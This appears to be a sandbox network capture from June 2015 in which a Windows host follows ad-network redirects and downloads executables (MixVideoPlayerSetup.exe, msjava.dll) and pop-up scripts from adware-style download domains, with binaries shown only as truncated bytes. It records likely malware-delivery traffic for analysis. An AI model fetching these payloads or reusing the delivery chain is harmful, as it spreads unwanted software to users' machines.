Cookie: ali_apache_id=193.138.244.231.1434687450825.709605.4; xman_us_f=x_l=0; xman_t=w4ccGTtuO6OQ /kawIlWWXLnFtHcwbHszoit71x7  gEeTRGuE80lgsEugDg48PB; acs_usuc_t=acs_rt=74a69b6614774a3b948d426cbea9b959; acs_t=60Ki3npUBcAiPtoifZt3h1LR0ewb2 MAVuyNxxaV8e/hIeBOXZxoMHqLf7EohayQ; xman_f=DhFtF3LS77qvMuuYcNPGp f1YyPuL/Oj454cQLzKkS/3kDPnWgzbMP2rm6zWDiWRNW2BhvLobgKDp8KX9pRfKYmE2/QPBAs6HtQD6PXxHeVZAqDH46hEMA==; uns_unc_f=trfc_i=saf^vutlr5u3^14a53e7r^19o50ibmb; _ga=GA1.2.956779042.1434687459; _gat=1; ali_beacon_id=193.138.244.231.1434687452343.865261.8; cna=3IUKDkZmHT4CAcGK9Odf8bPj

HTTP/1.1 200 OK

Date: Fri, 19 Jun 2015 04:17:33 GMT

Server: Apache

Last-Modified: Thu, 25 Dec 2014 09:24:05 GMT

ETag: "50b06f82d9740"

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Content-Encoding: gzip

X-XSS-protection: 1;mode=block

Content-Length: 20

Connection: close

Content-Type: text/html
......................

GET /b.jpg?cD17MX0mdT17L29mZmVyLmFsaWJhYmEuY29tL2V4Y2x1c2l2ZS5odG1sP2FscHNtPXRydWUmbWF0Y2g9cnVsZSZwcmlvcj1tZWRpdW0mcmFuaz1zb2xlbHAmdHY9MSZpbXA9NWIxZTk2MTlvNTBpYm1hbjZscSZ4cD1PazRUQjBqMHhvaVBoZ0h0azdhSWpKOTlQbnM0bkJEREhTcEk0eUhPNmZHNVBNY0VKS0cxTF8wVkFVdXhHZ2RRLXh4VDVXNXI4RC1qVVphT0JkbW1YeXd4dDVxY2NBaXJCeE1RQkZQbnRMNCZwaWQ9MzEzMjc1JnRkPVByb3BlbGxlcmFkcyZjdj0xNDcwMDEmYWZmX2lkPTE4MjQ2MzYxOCZjdD0xJnNpemU9MDAwXzAwMCZjbj1VQSZhbj0xMDAwMDAwMDQ2MDAxJmJtPWNwYSZ0cDE9NzgyMTk4Mzg4NzMmc3JjPXNhZn0mbT17R0VUfSZzPXsyMDB9JnI9e2h0dHA6Ly9vbmNsaWNrYWRzLm5ldC9hZnUucGhwP3pvbmVpZD0zMTMyNzV9JmE9ey19JmI9ey19JmM9e3RyZmNfaT1zYWZednV0bHI1dTNeMTRhNTNlN3JeMTlvNTBpYm1ifGFlcF91c3VjX2Y9LX0=&pageid=c18af4e70ab0c979558397db14e0a094bab1f1e5e8&sys=ie6.0|windowsXP|1276*846|en-us&ver=40&time=1434687458234 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: dmtracking2.alibaba.com

Connection: Keep-Alive

Cookie: ali_apache_id=193.138.244.231.1434687450825.709605.4; xman_us_f=x_l=0; xman_t=w4ccGTtuO6OQ /kawIlWWXLnFtHcwbHszoi
HTTP/1.1 200 OK

Date: Fri, 19 Jun 2015 04:17:32 GMT

Server: Apache/2.2.22 (Unix) aliTracking(for apache2.x)/2.1 mod_ssl/2.2.22 OpenSSL/0.9.8x

Set-Cookie: ali_beacon_id=193.138.244.231.1434687452343.865261.8; path=/; domain=.alibaba.com; expires=Fri, 20-Mar-2026 12:00:00 GMT

Last-Modified: Wed, 12 Mar 2014 08:22:58 GMT

ETag: "488090-0-4f4648b4f9c80"

Accept-Ranges: bytes

Content-Length: 0

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Connection: close

Content-Type: image/jpeg

GET /sdb/84/MixVideoPlayerSetup.exe HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: staticrr.mixvideoplayer.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 19 Jun 2015 04:17:26 GMT

Content-Type: application/octet-stream

Content-Length: 3690288

Last-Modified: Wed, 17 Jun 2015 10:34:24 GMT

Connection: keep-alive

ETag: "55814d30-384f30"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^..........^2.......p....@.........
.................`........8......................................t....
......8...........HB8.................................................
.............p...............................text....].......^........
.......... ..`.rdata.......p.......b..............@[email protected]....\......
.....v..............@....ndata...................................rsrc.
..8............z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....
<<< skipped >>>

GET /app.gif?&cna=3IUKDkZmHT4CAcGK9Odf8bPj HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Cookie: ali_apache_id=193.138.244.231.1434687450825.709605.4; xman_us_f=x_l=0; xman_t=w4ccGTtuO6OQ /kawIlWWXLnFtHcwbHszoit71x7  gEeTRGuE80lgsEugDg48PB; acs_usuc_t=acs_rt=74a69b6614774a3b948d426cbea9b959; acs_t=60Ki3npUBcAiPtoifZt3h1LR0ewb2 MAVuyNxxaV8e/hIeBOXZxoMHqLf7EohayQ; xman_f=DhFtF3LS77qvMuuYcNPGp f1YyPuL/Oj454cQLzKkS/3kDPnWgzbMP2rm6zWDiWRNW2BhvLobgKDp8KX9pRfKYmE2/QPBAs6HtQD6PXxHeVZAqDH46hEMA==; uns_unc_f=trfc_i=saf^vutlr5u3^14a53e7r^19o50ibmb; _ga=GA1.2.956779042.1434687459; _gat=1

Connection: Keep-Alive

Host: pcookie.alibaba.com

HTTP/1.1 200 OK

Server: Tengine

Date: Fri, 19 Jun 2015 04:17:32 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=3IUKDkZmHT4CAcGK9Odf8bPj; expires=Mon, 16-Jun-25 04:17:32 GMT; path=/; domain=.alibaba.com

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Server: Te
ngine..Date: Fri, 19 Jun 2015 04:17:32 GMT..Content-Type: image/gif..C
ontent-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa A
DMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=3IUKDkZmHT4CA
cGK9Odf8bPj; expires=Mon, 16-Jun-25 04:17:32 GMT; path=/; domain=.alib
aba.com..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cac
he..Pragma: no-cache..GIF89a.............!.......,...........L..;..

GET /7.gif?logtype=1&title=&pre=http://onclickads.net/afu.php?zoneid=313275&cache=f0c787f&scr=1276x846&isbeta=5&spm-cnt=0.0.0.0.ySHRO2&aplus&pageid=c18af4e70ab0c979558397db14e0a094bab1f1e5e8&ali_apache_id=193.138.244.231.1434687450825.709605.4&dmtrack_c={trfc_i=saf^vutlr5u3^14a53e7r^19o50ibmb|aep_usuc_f=-}&p=1&o=winXP&b=ie6&s=1276x846&w=trident HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gj.mmstat.com

Connection: Keep-Alive

HTTP/1.1 302 Found

Server: Tengine

Date: Fri, 19 Jun 2015 04:17:32 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=3IUKDkZmHT4CAcGK9Odf8bPj; expires=Mon, 16-Jun-25 04:17:32 GMT; path=/; domain=.mmstat.com

Set-Cookie: sca=9dd1fa00; path=/; domain=.mmstat.com

Set-Cookie: atpsida=b02db6dc328e04919dbf3e8a_1434687452; expires=Mon, 16-Jun-25 04:17:32 GMT; path=/; domain=.mmstat.com

Location: hXXp://pcookie.alibaba.com/app.gif?&cna=3IUKDkZmHT4CAcGK9Odf8bPj

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server:
 Tengine..Date: Fri, 19 Jun 2015 04:17:32 GMT..Content-Type: image/gif
..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CUR
a ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=3IUKDkZmHT
4CAcGK9Odf8bPj; expires=Mon, 16-Jun-25 04:17:32 GMT; path=/; domain=.m
mstat.com..Set-Cookie: sca=9dd1fa00; path=/; domain=.mmstat.com..Set-C
ookie: atpsida=b02db6dc328e04919dbf3e8a_1434687452; expires=Mon, 16-Ju
n-25 04:17:32 GMT; path=/; domain=.mmstat.com..Location: hXXp://pcooki
e.alibaba.com/app.gif?&cna=3IUKDkZmHT4CAcGK9Odf8bPj..Expires: Thu, 01 
Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cache..GIF8
9a.............!.......,...........L..;..

GET /event/common.html?id=17769&st_page_id=c18af4e70ab0c979558397db14e0a094bab1f1e5e8&ver=40&time=1434687458234 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: stat.alibaba.com

Connection: Keep-Alive

Cookie: ali_apache_id=193.138.244.231.1434687450825.709605.4; xman_us_f=x_l=0; xman_t=w4ccGTtuO6OQ /kawIlWWXLnFtHcwbHszoit71x7  gEeTRGuE80lgsEugDg48PB; acs_usuc_t=acs_rt=74a69b6614774a3b948d426cbea9b959; acs_t=60Ki3npUBcAiPtoifZt3h1LR0ewb2 MAVuyNxxaV8e/hIeBOXZxoMHqLf7EohayQ; xman_f=DhFtF3LS77qvMuuYcNPGp f1YyPuL/Oj454cQLzKkS/3kDPnWgzbMP2rm6zWDiWRNW2BhvLobgKDp8KX9pRfKYmE2/QPBAs6HtQD6PXxHeVZAqDH46hEMA==; uns_unc_f=trfc_i=saf^vutlr5u3^14a53e7r^19o50ibmb

HTTP/1.1 200 OK

Date: Fri, 19 Jun 2015 04:17:32 GMT

Server: Apache

Last-Modified: Thu, 25 Dec 2014 09:24:05 GMT

ETag: "50b06f82d9740"

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Content-Encoding: gzip

X-XSS-protection: 1;mode=block

Content-Length: 20

Connection: close

Content-Type: text/html
......................

GET /d5/msjava.dll HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: static.api.magnodownload.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/octet-stream

Date: Fri, 19 Jun 2015 04:17:16 GMT

ETag: "54ef0d1c-e5910"

Last-Modified: Thu, 26 Feb 2015 12:10:04 GMT

Server: nginx

Content-Length: 940304

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L.....C8
...........#...............................k..........................
......m...............................`#..te..........................
......................................................................
...........................text............................... ..`.dat
a...d"......."[email protected].............................
..@[email protected][email protected]@...0[.8M..... 8W...
4.D8a...4.D8l...6.D8y...5.D8............KERNEL32.dll.NTDLL.DLL.GDI32.d
ll.USER32.dll.ADVAPI32.dll.OLEAUT32.dll.ole32.dll.....................
......................................................................
......................................................................
......................................................................
......................................................................
............................................ .........................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>

GET /afu.php?zoneid=313275 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: onclickads.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 19 Jun 2015 04:17:30 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Pragma: no-cache

Cache-Control: private, max-age=0, no-cache

Expires: Mon, 26 Jul 1997 05:00:00 GMT

P3P: CP="CUR ADM OUR NOR STA NID"

Set-Cookie: OAGEO57b51=2|UA|63|KHARKIV|61000|?|BROADBAND|IP-COM LTD||15610|25314|?; expires=Sat, 20-Jun-2015 04:17:30 GMT; path=/

Set-Cookie: OAID=f068368d67ad28fddf04e8fe01270948; expires=Sat, 18-Jun-2016 04:17:30 GMT; path=/

Content-Encoding: gzip
395.............U...6.~._..a.-.M..I.[..;./}....IZ.3.7`8p...........j.E
.3.o~.....3&O9.X...`...P..5..R........$%,.E...~..4.k.Ir...g.y.L..Vnl.=
.bG.H|-..0/ ..b..8.5.a.g;.&<...Y.j...7.y.kj2DL..BK......|.W.LH....#
.".....I.'...[&..LF..;.........t.....dD...l....i6}z..X4..b2....b.....~
...9-hZ.A....=...9m..A..H&..b....az.y....( RB....&h...3\...5... .r..io
.hZ.E..Dm...<.q...)J.F.4... .....nK.=.%...jj....}O... .K.........w=
......\.V.F{[email protected].?.......%Y..9.\.bXs.H..Y:...,Y
..K6.^..7=.V.. }.r....^ ..$BE..7hT.^4.%.6.s......(.v...G^.!...........
-j1kg...g.{=3...}!..e.E.\l....=..w.n..'.....X..4.....6...pu.........n.
.._......`So..l.&}.>>....Q.]....{...y...#[email protected]...
..ym....K.oaL.....k.i..g......uH.ud.;..}#..^..G.k..T#.a.....E...Mg..@=
.#.).6....A ..n....W...S............<.q.GjG\@X)[email protected]
5......./.......\.8..V......N/t.....a...2O..z..~...i.T...?.........../
<....t......e.N.w....zO......0......


GET /?r=/mb/han&zoneid=313275&pbk2=8b51580768731a8986196e84654426cf6161935679395778977&saved_referer=&adparams=bm9qcz0w&a=1256&b=693 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://onclickads.net/afu.php?zoneid=313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: onclickads.net

Connection: Keep-Alive

Cookie: OAGEO57b51=2|UA|63|KHARKIV|61000|?|BROADBAND|IP-COM LTD||15610|25314|?; OAID=f068368d67ad28fddf04e8fe01270948

HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Fri, 19 Jun 2015 04:17:30 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Pragma: no-cache

Cache-Control: private, max-age=0, no-cache

Expires: Mon, 26 Jul 1997 05:00:00 GMT

P3P: CP="CUR ADM OUR NOR STA NID"

Set-Cookie: OAGEO57b51=2|UA|63|KHARKIV|61000|?|BROADBAND|IP-COM LTD||15610|25314|?; expires=Sat, 20-Jun-2015 04:17:30 GMT; path=/

Set-Cookie: ppucnt=1; expires=Sat, 20-Jun-2015 04:17:30 GMT; path=/

Set-Cookie: OAID=f068368d67ad28fddf04e8fe01270948; expires=Sat, 18-Jun-2016 04:17:30 GMT; path=/

Set-Cookie: _OACCAP[45384]=1; expires=Sat, 18-Jun-2016 04:17:30 GMT; path=/

Set-Cookie: _OACBLOCK[45384]=1434687450; expires=Sun, 19-Jul-2015 04:17:30 GMT; path=/

Location: hXXp://click.alibaba.com/rd/vutlr5u3?pid=313275&tp1=78219838873&cv=147001&cn=UA
0..HTTP/1.1 302 Moved Temporarily..Server: nginx..Date: Fri, 19 Jun 20
15 04:17:30 GMT..Content-Type: text/html..Transfer-Encoding: chunked..
Connection: keep-alive..Pragma: no-cache..Cache-Control: private, max-
age=0, no-cache..Expires: Mon, 26 Jul 1997 05:00:00 GMT..P3P: CP="CUR 
ADM OUR NOR STA NID"..Set-Cookie: OAGEO57b51=2|UA|63|KHARKIV|6
1000|?|BROADBAND|IP-COM LTD||15610|25314|?; expires=
Sat, 20-Jun-2015 04:17:30 GMT; path=/..Set-Cookie: ppucnt=1; expires=S
at, 20-Jun-2015 04:17:30 GMT; path=/..Set-Cookie: OAID=f068368d67ad28f
ddf04e8fe01270948; expires=Sat, 18-Jun-2016 04:17:30 GMT; path=/..Set-
Cookie: _OACCAP[45384]=1; expires=Sat, 18-Jun-2016 04:17:30 GMT; path=
/..Set-Cookie: _OACBLOCK[45384]=1434687450; expires=Sun, 19-Jul-2015 0
4:17:30 GMT; path=/..Location: hXXp://click.alibaba.com/rd/vutlr5u3?pi
d=313275&tp1=78219838873&cv=147001&cn=UA..0..
<<< skipped >>>

GET /BesH3gE9/pop-up/ HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Encoding: gzip

Content-Language: en

Content-Type: text/html

Date: Fri, 19 Jun 2015 04:17:27 GMT

Server: nginx

Set-Cookie: lpsl_BesH3gE9=f1fb2b100a32927a6c84695fc3b18151 1434773847; Path=/; Expires=Sat, 20-Jun-15 04:17:27 GMT;Domain=VVV.magnodownload.com

Vary: Accept-Language

Content-Length: 1074

Connection: keep-alive
...........Vmo.6..._...$'.h.q.&9.....l..b....%*.#.*I.q....%..[...a....
...y.2........}.f*M...?....a..?.....o.._..o..4.X.L.*..M.y..Fx.T> d.
\:.......A.4.......".P.xdx....$.......W../...0../B..D. .V9..bO....VV..
.|L.\0...0I..$q..h9s.G..<G..F.l.?A..;..}`.......R..L.h.O)}.x..Y.i..
<%..t....a............H.....v...hR.|..l..#..v.>.z}..|;:d.-.E0RT&
lt;0...dI...=.T...m.~.._.P.......*.X.....I....^......f..x..k.).){...(.
..T....`F..L....{e..wb..Ie......=..#.....x'w.7W..;cA.J.....Jx@...\p...
........^."."^0...z....-..I.....Z7$d.....s...........h....H.....%...\.
.C.Z.SP....q.....E..un.>L....:0....946.K. .,.{...F..m-.i.3.Ex....g.
.8..?.4..T.(..#.f..L}...s.u...u...Lx..u.%.{..".9.0..G.......Q.J.8...e.
...............f.H2.,..X..d@sf-c8...........&....ou..gb..0v.....:.Yo..
[....i:..14M.j.w....#......G............o....{.....Y...#[..q...NY.....
.Q....Q r[...u;-<4Jw`H..D.lL<dP.H..f...\e..yu..&3..mB2.._M.=8.&g
t;A...;..T._N.M%l|y..{.... ..[...V..pC>(..o...%.R/.f......pI../'P..
.>.H..P..r..6.n8...VVTd...V..\;zBWSc.s.. ..w..o_..{..P..e....f ....
.." ...4.B{Rr...C.._"<....S.../,.......^.o/D.P#. (...|......
.


GET /lpresources/js/linkv2.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.magnodownload.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.magnodownload.com

Connection: Keep-Alive

Cookie: lpsl_BesH3gE9=f1fb2b100a32927a6c84695fc3b18151 1434773847

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Encoding: gzip

Content-Type: application/javascript

Date: Fri, 19 Jun 2015 04:17:27 GMT

ETag: "280056-d84-4feef24b01140"

Last-Modified: Thu, 24 Jul 2014 11:56:13 GMT

Server: nginx

Vary: Accept-Encoding

Content-Length: 1358

Connection: keep-alive
...........WYo.8.~..`.ELV.|...q. M.........AIT,D...r....;$E.Ns 0,..|sr
f.Ty$."G.4..L...[&.T........B;.Q^......}..a...?.c.&h6.N..P...\.... 5.S
..9......5.)..R..xQ.1Vb.......V.A........>:[email protected])..:.[....w4....
.Q.e..".\..!)..h.^......;..M......n....P.>....^ zBQ...Y.kq^e...L0..
"...c...R..7Y..Jd..1pc....BO82.......l.r&"Z.....B!y..Z......i...?....9
..5..gED.. .|T.=Qf.....\.V..O..C../x....M..l..z.."W.B.a..rh..,...'.?..
.?.L...c.N......5.A.."...u*..........?\..2W..q.......h..mb`Y.1...k..i.
w.8K.;.3.,e.e......2T..FtS..K......7"..,*e.&.e.W.%v......=.L.....\.'.{
......D9.U...s.-... ..JD..U.0pHqwV..;8Y5A....G.........T/.?~.w..A.aI..
.\i.}P.@k%<.G.7......%u2..0.....3.(.H%.......P?1x:n...=.:...m...v2.
.w.....Go..tj.(-7.K. =Y.4.>.........7.(.w.q ... i..Lt/.....W.....T.
..)..W.."Y...`..%..,...........tW..8.C.A2.,8(...j..../.B...x.S..u..X..
..f..=..U8......vLc. [email protected]' E..A3.....t......-.yhZ)..6.`....o%....
.....'.Y...u...c..&....... .Q.9.....Vm.mW...h..W...C.w............'...
r.(.t).j......L...9.j.Uc...QBa9 ..3gPJ.WJ.]xj..!M.<....U......_....
.K!0...Ea..F...J=..`.6R.a..V..,cj . ..W..h.i........T....T_.l[.....i.u
..VL.u.AE..CR..n...l......y..}...1..5.................O...`'.MW8c...|.
. x...{.t..........}_...^..&...?[..9Y|...g.-..._.....h.G~.....i1...b..
...&.:.j..9.g.]B]..}..K>......{.7.aNqtMWD.6.0g.......0..z...PghuR7.
.}..f.y./.p-.%T.n.......xN.j.[.Q......h}e.........
<<< skipped >>>

GET /lpresources/js/ainj.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.magnodownload.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.magnodownload.com

Connection: Keep-Alive

Cookie: lpsl_BesH3gE9=f1fb2b100a32927a6c84695fc3b18151 1434773847

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Encoding: gzip

Content-Type: application/javascript

Date: Fri, 19 Jun 2015 04:17:27 GMT

ETag: "185921-0-4f9c38966d780"

Last-Modified: Mon, 19 May 2014 16:48:46 GMT

Server: nginx

Vary: Accept-Encoding

Content-Length: 20

Connection: keep-alive
........................


GET /lpresources/js/dlStoragev1.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.magnodownload.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.magnodownload.com

Connection: Keep-Alive

Cookie: lpsl_BesH3gE9=f1fb2b100a32927a6c84695fc3b18151 1434773847

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Encoding: gzip

Content-Type: application/javascript

Date: Fri, 19 Jun 2015 04:17:28 GMT

ETag: "180b8a-1a57-50572ea11d0c0"

Last-Modified: Wed, 15 Oct 2014 09:39:55 GMT

Server: nginx

Vary: Accept-Encoding

Content-Length: 2010

Connection: keep-alive
...........X[o...~v~...H:q..X,...]d..]t/i.A..b.P.(.F.]..c....!.....p..
.....\...K.Y..P.......b..c.........\3 J..2o-e.*!.....Ur....S>..(..^
....Z ...i..Z...Z.^.(b.}&.....O.$.:.:.....c{D........K.,.....WH.{C..}.
...2 n..Q..~[$p.1..C/<8.....EZ:_..'..@/.#...ud,K.T....J....i|....3=
.....N.!.nY@g....~...~j..i..jj..m.D;l.94.h.$A..9..n.Vp?.X.O..&...."...
....mch....'L..[m...m...XfR......G9(.....BVq....\....G..1....V[.......
......%....H<[email protected]@....[.. .fZ8Ie...Z..%Zdy
[email protected].~-..X?[O.Y.i{.K: L.....D......-......... .k.......r.6..
... v.5X..l.O..F...9..-.O.....5^.L.i..<Ip..O.....~...,...>.2/...
H.R .v..2....R*}:....X.......p2i..b..^.......tW.y...).'....H.......E.)
.Bx].......p.....9.c]...V....w..(. $D..uc..\.&OFv.2.>%.yf..!B.V4.).
..~k..db...Z.......}.....&..^...{cGzV.V...yv:..^....vQ..`[email protected].
.......h*[email protected]{h./.HpF.).T......i.......3u.'...fK..j.OY.
;!3 .N.'Fw1.....7..W..}"..n.ax[,y.%.. .......X%wf. .O...s...'...g7..9'
y.V..y.\O..3...,.-....H.q..........AM..;..L.8B`.3.......X.J.0..m....)1
..b-.w...j.!..oi...f..R'......-U]8.y. 0.*....0J..M...@.&.}............
..IR<...G.J.)I...G.......l.....I.sU....I..}{8...."HQ.....- #.......
...Q.TL.%"^.h=..cX.r.7.{,......o#,.Ho...*.i...A..*...........2..mh{Ws.
3.3.:..N.-...C#WV.[..I.c.J..`...{8....Dw.....x.................../.E_C
l7?....C<....a..Qg.V.p.....\.=.......w?.9.qno..%o....'..z..s(..)...
...p.v...}kw..*a.T.1...5.S.K]*......58....B..O$M.C.`.............a.h.q
...0... jV.....C. IS.].......8_.l..h.....mP.6j....b.1...~.e...DV..
<<< skipped >>>

GET /mh/53a811d55f1c1e744b000002/2307c835-660a-4bd8-a3df-031d9af89e85/53a811d55f1c1e744b000002/default/media/js/jquery-1.11.1.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.magnodownload.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.magnodownload.com

Connection: Keep-Alive

Cookie: lpsl_BesH3gE9=f1fb2b100a32927a6c84695fc3b18151 1434773847

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/javascript

Date: Fri, 19 Jun 2015 04:17:28 GMT

ETag: "53a84f60-1762a"

